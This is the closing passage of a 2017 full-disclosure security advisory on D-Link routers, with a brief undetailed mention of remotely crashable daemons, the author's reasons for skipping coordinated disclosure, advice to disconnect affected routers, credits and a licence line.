It appears some daemons running in the routers (revA and revB) can be crashed remotely from the LAN. As it doesn't provide further remote privileges to an attacker, this is only for information and was not detailed.

Vendor Response

Due to difficulties in previous exchange with Dlink, Full-disclosure is applied. Their previous lack of consideration about security made me publish this research without coordinated disclosure.

I advise to IMMEDIATELY DISCONNECT vulnerable routers from the Internet.

Report Timeline


These vulnerabilities were found by Pierre Kim (@PierreKimSec).


Big thanks to Alexandre Torres.



This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License:

published on 2017-09-08 00:00:00 by Pierre Kim <>